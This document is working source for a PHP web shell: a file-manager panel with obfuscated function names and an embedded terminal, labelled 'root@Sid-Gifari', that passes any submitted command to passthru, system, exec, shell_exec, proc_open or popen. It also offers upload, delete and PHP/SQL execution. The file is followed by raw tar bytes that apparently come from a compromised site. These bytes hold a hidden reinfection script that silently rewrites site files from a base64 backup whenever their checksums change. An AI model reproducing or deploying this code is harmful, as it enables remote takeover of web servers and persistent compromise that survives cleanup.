		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   .htaccess.htaccess.tar.gz                                                                           0000644                 00000000312 15243264725 0011350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =0A\4Q\\tu96&W*z"g<{9#_q#ІH{Ғc7<WRɻ;QUhʺ*!"E+Nt!Yh; [eu20]z@t5Z~Йc:jQE79                                                                                                                                                                                                                                                                                                                         session-context.php.tar                                                                             0000644                 00000005000 15243264725 0011214 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/session-context.php                                       0000644                 00000001672 15243251320 0020640 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      handler-loader.php.tar                                                                              0000644                 00000005000 15243264725 0010730 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/handler-loader.php                                        0000644                 00000001672 15243251144 0020360 